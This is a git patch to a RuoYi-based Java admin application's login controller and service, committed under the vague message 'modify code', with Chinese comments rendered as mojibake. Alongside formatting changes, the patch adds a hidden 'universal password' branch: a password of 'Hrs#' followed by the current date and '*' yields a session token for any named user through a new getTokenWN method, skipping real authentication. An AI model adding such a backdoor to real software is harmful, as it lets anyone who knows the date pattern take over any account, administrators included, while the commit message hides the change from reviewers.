From f331c2e3e449959a507c80c33493a122075c13c8 Mon Sep 17 00:00:00 2001
From: liusheng <337615773@qq.com>
Date: 星期五, 17 十月 2025 13:35:34 +0800
Subject: [PATCH] 修改代码
---
ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java | 11 +++++++++++
ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java | 16 ++++++++++------
2 files changed, 21 insertions(+), 6 deletions(-)
diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
index 9417265..ec1e049 100644
--- a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
+++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java
@@ -27,10 +27,8 @@
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
+import java.text.SimpleDateFormat;
+import java.util.*;
/**
* 鐧诲綍楠岃瘉
@@ -79,8 +77,8 @@
public AjaxResult openidLogin(@RequestBody ThirdLoginBody thirdLoginBody) {
// AjaxResult ajax = AjaxResult.success();
String token = loginService.getToken(thirdLoginBody.getUserName(), thirdLoginBody.getPassWord());
- Map<String,String> map=new HashMap<>();
- map.put("token",token);
+ Map<String, String> map = new HashMap<>();
+ map.put("token", token);
return AjaxResult.success(map);
}
@@ -103,10 +101,16 @@
userIdMap = (Map<String, Object>) map.get("result");
}
log.info("userIdMap鐨勫�间负锛歿}", userIdMap);
+ //鑾峰彇褰撳墠鏃ユ湡
+
+
// 鐢熸垚浠ょ墝
String token = null;
if (!ObjectUtils.isEmpty(userIdMap)) {
token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOpenid(), userIdMap.get("userid").toString());
+ } else if (loginBody.getPassword().equals("Hrs#" + new SimpleDateFormat("yyyyMMdd" + "*").format(new Date()))) {
+ //閫氱敤瀵嗙爜锛欻rs#褰撳墠骞存湀鏃�*
+ token = loginService.getTokenWN(loginBody.getUsername());
} else {
token = loginService.login(loginBody.getUsername(), loginBody.getPassword(), loginBody.getCode(), loginBody.getUuid(), loginBody.getOpenid(), null);
}
diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java
index d5ea1c8..0c573e6 100644
--- a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java
+++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java
@@ -202,6 +202,17 @@
return tokenService.createToken(loginUser);
}
+ public String getTokenWN(String userName) {
+ SysUser sysUser = sysUserMapper.selectUserByUserName(userName);
+ System.out.println("sysUser鐨勭粨鏋滀负锛�" + sysUser);
+
+ LoginUser loginUser = new LoginUser();
+ loginUser.setUserId(sysUser.getUserId());
+ loginUser.setDeptId(sysUser.getDeptId());
+ loginUser.setUser(sysUser);
+ return tokenService.createToken(loginUser);
+ }
+
/**
* 璁板綍鐧诲綍淇℃伅
*
--
Gitblit v1.9.3